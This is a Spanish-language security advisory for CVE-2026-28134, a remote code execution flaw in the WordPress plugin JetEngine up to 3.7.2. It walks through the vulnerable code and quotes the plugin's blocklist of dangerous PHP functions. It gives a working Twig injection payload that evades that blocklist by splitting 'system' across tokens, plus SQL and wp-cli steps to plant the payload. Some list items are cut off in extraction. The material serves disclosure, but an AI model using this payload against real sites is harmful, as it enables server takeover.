
JetEngine <= 3.7.2 - Ejecución Remota de Código Autenticada (Contributor+)
Fecha: 11 de marzo de 2026 Puntuación CVSS: 8.8 (Alta) Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Plugin afectado: JetEngine <= 3.7.2 Slug del plugin: jet-engine CVE: CVE-2026-28134 Estado: Privado Versión de WordPress probada: Última
CVE-2026-28134 es una vulnerabilidad de Ejecución Remota de Código en el plugin de WordPress JetEngine que afecta a todas las versiones hasta la 3.7.2 inclusive. La vulnerabilidad permite a atacantes autenticados con acceso de nivel Colaborador o superior ejecutar comandos arbitrarios del sistema operativo en el servidor inyectando una plantilla Twig maliciosa en una entrada Listing de JetEngine.
La cadena de ataque combina tres debilidades:
~ de Twig para dividir nombres de funciones bloqueados entre tokens.✅ VULNERABILIDAD CONFIRMADA — RCE completo logrado
Impacto confirmado:
www-data/etc/passwd, wp-config.php)JetEngine proporciona un tipo de vista Listing basado en Twig/Timber. Cuando el componente timber_views está habilitado, las entradas Listing con _listing_type = twig tienen su meta de entrada _jet_engine_listing_html renderizada como una plantilla Twig en vivo mediante Timber. La canalización de renderizado es accesible a través de la acción AJAX no autenticada wp_ajax_nopriv_jet_engine_ajax, requiriendo únicamente que el atacante pueda crear o modificar una entrada Listing de JetEngine (mínimo rol Colaborador).
| Archivo | Problema |
|---|---|
includes/components/listings/ajax-handlers.php:29 | wp_ajax_nopriv_jet_engine_ajax registrado — sin autenticación ni nonce |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — despacho de métodos públicos arbitrarios |
includes/components/timber-views/timber.php:150 | render_html() renderiza la plantilla Twig controlada por el atacante sin sandbox |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — lista negra de regex de cadenas, evadida mediante división de tokens |
timber-library/lib/Twig.php:42-43 | Timber registra fn()/function() como envoltorios Twig para call_user_func_array |
ajax-handlers.php registra la acción AJAX tanto para usuarios autenticados como no autenticados:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
El manejador despacha a cualquier método público de la clase basándose en $_REQUEST['handler'] sin comprobación de nonce ni de permisos:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
Llamar a listing_load_more es accesible públicamente y desencadena la canalización de renderizado de Listing.
La cadena de llamadas listing_load_more → get_listing → frontend->get_listing_item llega a:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
Cuando $listing_view = 'twig', esto dispara Jet_Engine\Timber_Views\Render::get_listing_content(), que lee la plantilla Twig del campo meta _jet_engine_listing_html de la entrada y la pasa directamente a render_html():
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
Twig renderiza sin sandbox. La única protección es sanitize_twig_content().
sanitize_twig_content() elimina nombres de funciones PHP peligrosos mediante patrones regex de límite de palabra y luego comprueba si la plantilla fue modificada:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
El patrón \bsystem\b coincide con el token literal system. No coincide con "sys" ~ "tem" porque son dos tokens de cadena entre comillas separados. Twig evalúa la concatenación en tiempo de renderizado, produciendo "system" solo en memoria — la plantilla fuente nunca contiene la palabra bloqueada.
Payload de evasión:
{{ fn("sys" ~ "tem", "id") }}
El sanitizador ve fn, "sys", ~, "tem", "id" — ninguno está en la lista negra. Pasa sin cambios.
fn() de TimberTimber registra envoltorios invocables de PHP directamente en el entorno de Twig:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} se resuelve a call_user_func_array("system", ["id"]) — ejecución de comandos arbitrarios del sistema operativo.
timber_views de JetEngine está habilitado (Ajustes de JetEngine > Rendimiento > Vistas Timber/Twig).Cree una entrada Listing de JetEngine con la plantilla Twig maliciosa almacenada en la meta de la entrada:
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
O mediante wp-cli (como el usuario Colaborador):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'